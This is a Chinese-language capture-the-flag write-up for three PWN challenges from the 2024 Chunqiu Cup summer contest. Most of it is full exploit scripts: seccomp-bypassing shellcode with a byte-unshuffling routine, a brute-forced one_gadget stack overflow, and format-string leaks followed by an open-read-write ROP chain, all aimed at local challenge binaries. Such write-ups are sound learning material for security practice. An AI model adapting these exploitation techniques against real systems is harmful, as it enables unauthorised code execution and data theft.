2024春秋杯网络安全联赛夏季赛-PWN-Writeup
只打了第一天,费了好大劲,终于三道都出了。
Shuffled_Execution
保护全开,ida查看伪代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char *s; // [rsp+28h] [rbp-18h]
unsigned __int64 len; // [rsp+30h] [rbp-10h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
len = strlen(s);
shuffle((__int64)s, len);
if ( len <= 0xAF )
{
sandbox();
entrance();
LODWORD(v3) = 0;
}
else
{
return (int)"Error triggered...";
}
return v3;
}
可以看道mmap申请0x1337000处0x1000大小的内存空间,使用syscall系统调用来调用read函数向内存中进行写入。
shuffle函数会打乱我们输入的内容。
判断长度小于等于0xAF之后会然后开启沙箱,然后entrance()函数会让程序跳转到0x1337000处去执行。
shuffle函数的伪代码:
unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{
char v3; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
srand(4919u);
if ( len > 1 )
{
for ( i = 0; i < len >> 1; ++i )
{
v5 = rand() % len;
v3 = *(_BYTE *)(i + input);
*(_BYTE *)(i + input) = *(_BYTE *)(input + v5);
*(_BYTE *)(v5 + input) = v3;
}
}
return v6 - __readfsqword(0x28u);
}
程序实现的是随机交换程序中的字节,程序中的这种随机其实是伪随机,我们可以出每次随机的数的。
在exp中我们可以模拟上述随机数生成的过程,写出预处理函数来先进行预处理,这个预处理所实现的功能就是让程序进行shuffle()函数打乱之后的顺序反而是我们预期想要的顺序
def unshuffle(shuffled_bytes, seed=4919):
#random.seed(seed)
libc.srand(4919)
# Find the first occurrence of \x00
null_byte_index = shuffled_bytes.find(b'\x00')
# Use the index of \x00 if it exists, otherwise use the full length
len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
shuffled_list = list(shuffled_bytes[:len_input])
indices = list(range(len_input))
if len_input > 1:
swaps = []
for i in range(len_input >> 1):
v5 = libc.rand() % len_input
swaps.append((i, v5))
# Reverse the swaps
for i, v5 in reversed(swaps):
v3 = shuffled_list[v5]
shuffled_list[v5] = shuffled_list[i]
shuffled_list[i] = v3
return bytes(shuffled_list)+shuffled_bytes[len_input:]
再来看看沙箱规则:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
open被办ban了,这里用openat代替。
read被ban了,这里用preadv2代替。
write被ban了,这里用writev代替。
完整exp:
from pwn import *
from ctypes import *
shellcode = '''
mov rbp,0x1337100
mov rsp,rbp
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor rdx, rdx
push SYS_openat
pop rax
syscall
mov rdi, 3
push 0x30
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x30
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
def unshuffle(shuffled_bytes, seed=4919):
libc.srand(4919)
# Find the first occurrence of \x00
null_byte_index = shuffled_bytes.find(b'\x00')
# Use the index of \x00 if it exists, otherwise use the full length
len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
shuffled_list = list(shuffled_bytes[:len_input])
indices = list(range(len_input))
if len_input > 1:
swaps = []
for i in range(len_input >> 1):
v5 = libc.rand() % len_input
swaps.append((i, v5))
# Reverse the swaps
for i, v5 in reversed(swaps):
v3 = shuffled_list[v5]
shuffled_list[v5] = shuffled_list[i]
shuffled_list[i] = v3
return bytes(shuffled_list)+shuffled_bytes[len_input:]
p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
# 将 shellcode 转换为机器码
shellcode = asm(shellcode)
# 对 shellcode 进行预处理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())
赛后看到imarch22师傅的博客,看道师傅有一个思路是直接利用\x00进行截断。实际操作就是在shellcode前面加个"mov eax,0",转成字节码\xb8\x00\x00\x00\x00,这行程序在进行strlen的时候返回值是1,程序在进行洗牌的时候i < len >> 1直接不满足条件,就不会进行打乱。省去了我写unshuffle()函数的过程。
stdout
考setvbut
setvbuf
函数原型
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
参数说明
stream
: 文件流指针,例如stdin
、stdout
、stderr
。buffer
: 指向缓冲区的指针。如果为NULL
或0LL
,则使用系统提供的缓冲区。mode
:缓冲模式,可以是以下之一:_IOFBF
: 全缓冲。全缓冲模式下,数据会被存储在一个缓冲区中,直到缓冲区满或者显式地刷新(如调用fflush
函数),然后一次性写入或读取。_IOLBF
: 行缓冲。行缓冲模式下,数据在遇到换行符(\n
)时或者缓冲区满时进行刷新(写入或读取)。_IONBF
: 无缓冲。无缓冲模式下,数据不经过缓冲区,而是直接写入或读取。这意味着每个 I/O 操作都会立即进行系统调用,数据会实时反映在目标设备上。
size
: 缓冲区大小。如果buffer
为NULL
或0LL
,此参数被忽略。
本题有很明显的栈溢出,但是stdout设置的全缓冲,正常思路是用csu调用setvbut来设置为无缓冲来进行泄露libc打ret2libc,我没有这么做,我直接打程序返回地址为onegadgets来拿到shell读取flag的。1/4096的概率,爆破了大概十分钟出了。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'
for i in range(4096):
try:
p = process('./pwn')
p.send(payload1)
sleep(0.2)
p.send(payload2)
sleep(0.2)
p.send(payload3)
sleep(0.2)
p.sendline(b'ls')
p.sendline(b'cat flag')
aaa = p.recv()
if b'flag' in aaa:
print(aaa)
break
except:
p.close()
continue
p.interactive()
SavethePrincess
通过循环爆破love的内容,来拿到格式化字符串漏洞的利用权限。
拿到格式化字符串漏洞之后泄露canary、pie、libc、stack。
之后就是利用openat、pread64、puts来实现orw输出flag。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def baopo():
love = ''
for j in range(8):
for i in zifu:
sleep(0.01)
love_len = len(love)
temp2 = '\\x0'+str(love_len+1)
p.recvuntil(b'> \n')
p.sendline(b'1')
temp = love+i
p.recvuntil(b'password: \n')
p.send(temp.ljust(10,'a'))
sleep(0.02)
recv = p.recvline()
if b'successfully' in recv:
love+= i
break
print(temp2)
if temp2 in str(recv):
love+= i
break
return love
def fmt(password,payload):
#p.recvuntil(b'> \n')
p.sendline(b'1')
p.recvuntil(b'password: \n')
p.send(password)
p.recvuntil(b'successfully, Embrace the power!!!\n')
p.send(payload)
password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))
fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))
fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))
pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']
rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c) # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)
rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'
p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())
标签:p64,chain,libc,Writeup,len,2024,rop,pop,PWN
From: https://www.cnblogs.com/xiaochange/p/18291573